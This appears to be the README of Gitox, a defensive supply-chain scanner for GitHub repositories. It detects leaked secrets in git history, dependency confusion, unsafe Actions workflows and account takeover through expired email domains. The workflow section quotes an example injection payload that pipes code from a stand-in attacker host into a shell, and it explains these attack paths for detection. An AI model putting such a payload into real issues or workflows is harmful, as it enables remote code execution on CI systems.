Supply chain security scanner for GitHub repositories. Detects secrets leaked in git history, dependency confusion candidates, vulnerable GitHub Actions workflows, and account takeover vectors via expired email domains.
All four modules run in parallel and produce a unified report.
- Python 3.11+
- git
- TruffleHog — required by the
secretsmodule onlybrew install trufflehog # macOS # or curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh
pip install -r requirements.txtScan a remote repository:
python cli.py scan --target https://github.com/owner/repoScan a local git directory:
python cli.py scan --path /path/to/local/repoProvide exactly one of --target or --path.
--target / -t Remote repository URL (https://github.com/...)
--path / -p Local path to a git repository directory
--modules / -m Comma-separated modules to run: all,secrets,deps,workflow,ato [default: all]
--output / -o Output format: json, html, pdf, stdout [default: stdout]
--output-dir Directory where report files are written [default: ./gitox-reports]
--token GitHub personal access token (or set env GITHUB_TOKEN)
--verbose / -v Show individual finding details in stdout mode
Examples:
# Run only secrets and workflow modules, save as HTML
python cli.py scan --target https://github.com/owner/repo \
--modules secrets,workflow --output html --output-dir ./reports
# Scan a local repo verbosely
python cli.py scan --path ~/code/myproject --verbose
# Provide a GitHub token to avoid rate limits (required for ATO module)
python cli.py scan --target https://github.com/owner/repo --token ghp_xxxxFinds credentials and secrets that were committed to the repository at any point in its history, including files that have since been deleted.
How it works:
-
Live history scan — runs
trufflehog git file://<repo>against the full git object store. TruffleHog walks every commit and blob, applying 700+ detector patterns (AWS keys, GitHub tokens, Stripe keys, private keys, etc.). -
Deleted blob recovery — extracts content of every file that was ever deleted from the repository:
git log --diff-filter=Didentifies commits where files were removedgit ls-tree <commit>^retrieves the blob SHA for each deleted file at the commit before deletiongit cat-file -p <sha>reads the raw blob content- Recovered blobs are written to a temp directory and scanned with
trufflehog filesystem
-
Deduplication — findings from both phases are deduplicated by
(detector_name, raw_snippet)to avoid double-reporting secrets that appear in both live history and deleted blobs.
Findings produced:
| Condition | Severity | Title |
|---|---|---|
| TruffleHog verifies the credential is live | CRITICAL |
Secret detected: <DetectorName> |
| TruffleHog finds a match but cannot verify | HIGH |
Secret detected: <DetectorName> |
Each finding includes the file path, line number, a 120-character snippet of the raw value, the commit SHA where it appeared, the commit timestamp (ISO-8601 author date), and whether the source was live_history or deleted_blob.
Findings directory — for every secret found, the full content of the file at the offending commit is copied to ./gitox-findings/<commit-sha>/<original-file-path>. This lets you examine the exact file state without needing to check out old commits. The location can be changed by setting the SECRETS_FINDINGS_DIR environment variable.
Remediation guidance: Rotate the credential immediately, then remove it from git history using git-filter-repo or BFG Repo Cleaner.
If TruffleHog is not installed, the module returns a single error result instead of failing silently.
Detects package names your repository depends on that do not exist in their public registry. An attacker who registers the same name publicly can cause package managers to silently pull malicious code in CI/CD pipelines or developer environments.
How it works:
-
Manifest parsing — walks the entire repository recursively and parses every supported manifest file:
File Ecosystem Sections parsed package.jsonnpm dependencies,devDependencies,peerDependencies,optionalDependenciespackage-lock.jsonnpm packages,dependenciesyarn.locknpm All package entries (regex: ^"?([^@\s"]+)@)requirements.txtPyPI All non-comment, non-flag lines setup.pyPyPI install_requires,extras_requirepyproject.tomlPyPI [project].dependencies,[tool.poetry.dependencies]PipfilePyPI [packages],[dev-packages] -
Registry check — for each unique
(package_name, ecosystem)pair, makes an HTTP HEAD/GET request to the public registry:- npm:
GET https://registry.npmjs.org/<name>— 200 means exists, 404 means absent - PyPI:
GET https://pypi.org/pypi/<name>/json— same logic - Requests are batched in groups of 20 and run concurrently with
asyncio.gather - On any network error or timeout, the package is assumed to exist (avoids false positives)
- npm:
Findings produced:
| Condition | Severity | Title |
|---|---|---|
| Package not found in public registry | CRITICAL |
Dependency confusion candidate: <name> (<ecosystem>) |
Each finding includes the manifest file path, line number where the package is declared, and the registry URL that returned 404.
Detects five classes of vulnerability in .github/workflows/*.yml files by parsing the workflow YAML and applying rule functions to every job and step.
Detection rules:
Triggers when a workflow uses pull_request_target and any step references the PR head ref or SHA (github.event.pull_request.head.sha, github.event.pull_request.head.ref, github.head_ref, or refs/pull/).
pull_request_target runs in the context of the base branch (with access to secrets and write permissions). Checking out and running attacker-controlled code from a fork in that context gives the attacker full repository access.
Triggers when a run: block, with: input, or env: value directly interpolates a user-controlled GitHub context expression:
github.event.issue.title github.event.pull_request.title
github.event.issue.body github.event.pull_request.body
github.event.comment.body github.event.pull_request.head.ref
github.event.review.body github.head_ref
github.event.review_comment.body
An attacker who opens an issue or PR with a crafted title like $(curl attacker.com | sh) can achieve shell command injection.
Triggers for third-party uses: entries (not ./ local or actions/ first-party) where the ref is not a full 40-character commit SHA. Using a tag or branch name means a compromised upstream repository can inject malicious code on the next run.
- MEDIUM: No top-level
permissions:block (defaults towrite-all) orpermissions: write-all - HIGH: A job has
contents: writeorpackages: writeand the workflow usespull_request_target(write access + fork trigger = critical attack path)
A secondary injection path: an environment variable is set from a user-controlled expression (${{ github.event.issue.title }}), and that variable is then referenced directly in a run: block via $VAR or ${VAR}.
Findings produced:
| Rule | Severity | Title |
|---|---|---|
| pwn_request | CRITICAL |
Dangerous pull_request_target with PR head checkout |
| expression_injection | HIGH |
Expression injection via <context> |
| unpinned_actions | MEDIUM |
Unpinned third-party action: <uses> |
| token_permissions | MEDIUM or HIGH |
No explicit permissions block / write-all permissions / Write permissions combined with pull_request_target |
| script_injection_env | HIGH |
Potential script injection via environment variable |
Each finding includes the workflow file path, an approximate line number, the offending snippet, and a concrete remediation step.
Detects GitHub maintainers whose email domain has expired or is unregistered. Anyone who registers that domain can trigger a GitHub password reset for those accounts and gain commit access to the repository.
How it works:
-
Owner/repo resolution — extracts the GitHub owner and repository name from either the remote URL or the
.git/configremote origin of a local clone. -
Contributor enumeration — paginates
GET /repos/{owner}/{repo}/contributors(up to 100 per page). Implements exponential backoff on 429 rate-limit responses (max 60 s wait). -
Email collection — fetches
GET /users/{login}for each contributor and extracts the public email field. Skips users with no public email and domains belonging to free providers that cannot be reclaimed:github.com,users.noreply.github.com,gmail.com,yahoo.com,hotmail.com,outlook.com -
Domain availability check — for each unique custom domain, checks in two steps (runs in a thread pool since
python-whoisis synchronous):- DNS:
socket.gethostbyname(domain)— if it raisessocket.gaierrorwith an NXDOMAIN-equivalent code, the domain does not resolve - WHOIS: if DNS resolves, queries WHOIS; flags the domain if no registrar data is found or if
expiration_dateis in the past - On any unexpected error, assumes the domain is registered (avoids false positives)
- Domains are checked in batches of 10 concurrently
- DNS:
Findings produced:
| Condition | Severity | Title |
|---|---|---|
| Domain is unregistered or expired | CRITICAL |
Claimable email domain: <domain> |
Each finding lists every affected contributor (login, email, contribution count), the domain, and the reason it was flagged (e.g. "Domain expired on 2023-11-01").
The ATO module requires a GitHub token for repositories with many contributors to avoid hitting unauthenticated API rate limits (60 req/hr). Pass
--tokenor setGITHUB_TOKEN.
Prints a colour-coded summary table followed by per-finding detail when --verbose is used:
GITOX SCAN REPORT
Target: https://github.com/owner/repo
Scanned: 2024-05-12T14:03:22
Modules: secrets, dep_confusion, workflow, ato
FINDINGS SUMMARY
──────────────────────────────
CRITICAL 3
HIGH 5
MEDIUM 2
LOW 0
INFO 0
──────────────────────────────
TOTAL 10
[SECRETS]
CRITICAL — Secret detected: AWS
File: config/deploy.rb:12
Snippet: AKIAIOSFODNN7EXAMPLE...
Commit: a1b2c3d4e5f6... (2023-08-14 11:22:03 +0000)
Saved: ./gitox-findings/a1b2c3d4e5f6.../config/deploy.rb
[WORKFLOW]
CRITICAL — Dangerous pull_request_target with PR head checkout
File: .github/workflows/ci.yml
...
Writes report.json (full ScanSummary) plus one <module>_report.json per module to --output-dir. Structure:
{
"target": "https://github.com/owner/repo",
"scan_timestamp": "2024-05-12T14:03:22",
"modules_run": ["secrets", "dep_confusion", "workflow", "ato"],
"total_findings": 10,
"findings_by_severity": {
"CRITICAL": 3,
"HIGH": 5,
"MEDIUM": 2,
"LOW": 0,
"INFO": 0
},
"results": [
{
"module_name": "secrets",
"target": "https://github.com/owner/repo",
"scan_timestamp": "2024-05-12T14:03:22",
"duration_seconds": 8.41,
"error": null,
"findings": [
{
"id": "a3f1...",
"severity": "CRITICAL",
"title": "Secret detected: AWS",
"description": "DetectorType: 2, DetectorName: AWS, Raw: AKIA...",
"file_path": "config/deploy.rb",
"line_number": 12,
"snippet": "AKIAIOSFODNN7EXAMPLE",
"remediation": "Rotate this credential immediately...",
"metadata": {
"verified": true,
"detector": "AWS",
"commit": "a1b2c3...",
"commit_timestamp": "2023-08-14 11:22:03 +0000",
"source": "live_history",
"findings_copy": "./gitox-findings/a1b2c3.../config/deploy.rb"
}
}
]
}
]
}Writes a self-contained dark-themed HTML report (no external dependencies) to --output-dir. Includes:
- Header — target, scan timestamp, Gitox version
- Summary dashboard — one card per severity level with large coloured counts
- Per-module sections — findings table with columns: Severity badge | Title | Location (file:line) | Description | Remediation
- Secrets module — adds a Verified/Unverified badge column (red vs orange)
- No findings — shows a green "No issues found" banner for clean modules
Renders the same HTML report to a PDF via WeasyPrint. Requires system libraries (libpango, libcairo) — see the Dockerfile for the full install list.
cp .env.example .env # fill in SUPABASE_URL, SUPABASE_KEY
docker-compose upServices started:
- api — FastAPI app on port 8000
- worker — Celery worker consuming scan jobs from Redis
- redis — job broker on port 6379
API available at http://localhost:8000.
| Method | Path | Description |
|---|---|---|
POST |
/scans |
Submit a scan job. Body: {target, modules?, github_token?}. Returns {scan_id}. |
GET |
/scans |
List last 20 scans (no result bodies). |
GET |
/scans/{id} |
Get scan record: id, target, status, timestamps, modules, error. |
GET |
/scans/{id}/results |
Full ScanSummary JSON, or 202 {status} if not complete yet. |
GET |
/scans/{id}/report |
Rendered HTML report (text/html). |
GET |
/health |
{"status": "ok", "version": "0.1.0"} |
Scan statuses: queued → running → complete / failed.
Rate limit: 10 scan submissions per IP per hour.
-
Create
modules/<name>/scanner.pyimplementingScanner:from core.base_scanner import Scanner from core.models import ScanResult, Severity class MyScanner(Scanner): name = "my_module" async def run(self, repo_path: str) -> ScanResult: import time start = time.time() findings = [] # ... detection logic ... # Use self._make_finding(severity=..., title=..., description=...) to build findings return ScanResult( module_name=self.name, target=repo_path, findings=findings, duration_seconds=time.time() - start, )
-
Register it in
cli.py(_build_scanners) andapi/worker.py(_build_scanners):from modules.my_module.scanner import MyScanner all_scanners = { ..., "mymod": MyScanner }
-
Add tests in
tests/test_<name>.py. Use thetmp_git_repofixture fromconftest.pyto create minimal real git repos.
# All unit tests (no network, no TruffleHog required)
pytest tests/ -v --asyncio-mode=auto -m "not integration"
# All tests including integration (requires network + TruffleHog)
pytest tests/ -v --asyncio-mode=autoThe test_secrets.py tests are automatically skipped if TruffleHog is not installed. The integration test in test_integration.py scans trufflesecurity/test_keys (TruffleHog's own fixture repo) end-to-end and asserts all three output formats render successfully.